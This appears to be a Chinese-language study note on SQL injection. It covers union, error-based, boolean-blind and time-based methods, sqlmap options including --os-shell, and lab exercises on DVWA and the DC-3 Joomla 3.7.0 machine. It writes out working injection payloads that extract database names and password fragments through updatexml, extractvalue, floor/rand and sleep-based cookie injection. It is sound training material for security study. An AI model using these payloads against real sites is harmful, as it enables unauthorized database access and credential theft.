SQL注入\工具使用\DC-3靶机信息获取
目录
SQL注入基本方法
1.联合查询
由于数据库中的内容会回显到页面中来,所以可以使用联合查询进行注入。
联合查询就是利用 union select 语句,该语句会同时执行两条select语句。
附: 必要条件
两条select 语句查询结果具有相同列数
对应的列 数据类型相同
2.报错注入
在注入的判断过程中,发现数据库中SQL语句的报错信息,会显示在页面中,因此可以利用报错信息进行注入。
注入原理:在错误信息中执行SQL语句。
注:触发报错的方式有很多,具体细节也都不一样
☻group by 重复键冲突
关键词floor rand
☻Extractvalue()
☻Updatexml()
3.布尔盲注
页面中有布尔类型的状态,可以根据布尔类型状态,对数据库的内容进行判断。
前提条件: 没得回显,没得报错。
验证:
?id=3' and 1=1 --+
?id=3' and 1=2 --+
没出现报错,以及回显id链接界面,表示此页面有布尔盲注漏洞。
4.延时注入
利用sleep()语句的延时性,以时间线作为判断条件
前提条件:没得回显、没得报错、没得布尔类型状态。
If (表达式,sleep(5),1)
SQLMAP 工具
SQL注入神器,集成在Kali中
升级SQLmap
sudo apt-get update 更新软件列表
sudo apt-get install sqlmap 重新安装 Sqlmap ;
重要常用参数
-u / --url 注入点检测
--level=1-5 检测提交参数的各种方式
--risk=1-3 风险等级
--dbs 列出所有的数据库
--current-db 列出当前数据库
- D 指定数据库的名字
-- tables 列出所有的表名
- T 指定一个表名
-- columns 列出所有的字段名
- C 指定列名
-- dump 列出所有数据
POST 注入
--data 提交post 参数
-r 从文件中读取请求,进行注入尝试
COOKie 注入
--cookie 指定Cookie 参数
--level=3 即可检测Cookie 参数
直接GetShell
知道目标系统的绝对路径,并且当前mysql 开启了 secure_file_priv 选项才可以。
--os-shell 直接获取目标系统shell
实验
- DVWA 中的SQL 注入。
报错注入:
Group by:
?id=2’ and (select 1 from (select count(*),concat(0x5e,(select
database()),0x5e,floor(rand()*2))x from information_schema.tables group by x)a) --+
?id=2’ and (select 1 from (select count(*),concat(0x5e,( select table_name from
information_schema.tables where table_schema=database() limit
0,1),0x5e,floor(rand()*2))x from information_schema.tables group by x)a) --+
?id=2’ and (select 1 from (select count(*),concat(0x5e,( select table_name from
information_schema.tables where table_schema=database() limit
1,1),0x5e,floor(rand()*2))x from information_schema.tables group by x)a) --+
Extractvalue:
?id=2’ and extractvalue(1,concat(0x5e,(select database()),0x5e)) --+
?id=2’ and extractvalue(1,concat(0x5e,(select version()),0x5e)) --+
Updatexml():
?id=2’ and updatexml(1,concat(0x5e,(select database()),0x5e),1) --+
?id=2’ and updatexml(1,concat(0x5e,(select substr(password,1,16) from
cms_users),0x5e),1) --+
布尔盲注:
?id=2' and length (database())=4--+
?id=2' and length (database())=5--+
报错说明数据库名称只有四位
延时注入:
火狐打开组建功能 开启BP抓包 分析
Cookie: id=1' and if((ascii(substr(database(),3,1))=119),sleep(5),1) -- ;
Cookie: id=1' and if((ascii(substr(database(),4,1))=97),sleep(5),1) -- ;
DC3 获取网站后台管理员帐密并且登录后台
扫描
searchsploit joomla 3.7.0
扫到joomla的漏洞
查看漏洞文件
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
扫表名
欧克克 下一步
来了来了
呕吼 ~还有验证 刺激
成功!!!!再见!!!!